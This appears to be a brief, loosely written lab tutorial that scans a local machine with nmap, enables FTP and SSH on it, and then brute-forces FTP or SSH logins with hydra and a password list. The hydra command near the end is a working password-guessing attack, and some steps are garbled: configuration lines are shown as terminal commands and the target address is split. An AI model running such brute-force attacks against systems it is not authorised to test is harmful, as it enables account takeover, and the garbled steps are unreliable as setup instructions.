Step 1: perform nmap with your IP address in the terminal

nmap 172.20.10.12
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 14:34 IST
Nmap scan report for gss-SVE15135CNB (172.20.10.12)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Step 2 : Find the available service Ssh and FTP is must required.

If ssh and ftp is not available perform the following

For enabling FTP:

Fedora/Red Hat/SUSE

dnf -y install vsftpd (type this in Terminal)

For ubuntu and debian

sudo apt-get install vsftpd (tytpe this in terminal)

next type this in terminal

man vsftpd.conf

next type this

write_enable=YES

next type this

local_enable=YES

now perform nmap

check FTP service is open or not

SAME LIKE SSH TYPE ONE BY ONE FOLLOWING IN THE TERMINAL

sudo apt update

sudo apt install openssh-server
sudo systemctl status ssh
press q
again perform nmap with ur ipaddress

it should open FTP and Ssh

hydra -l gss -P '/home/gss/passlist' -t 6 ftp or ssh (do any one) at a time

://172.20.10.12
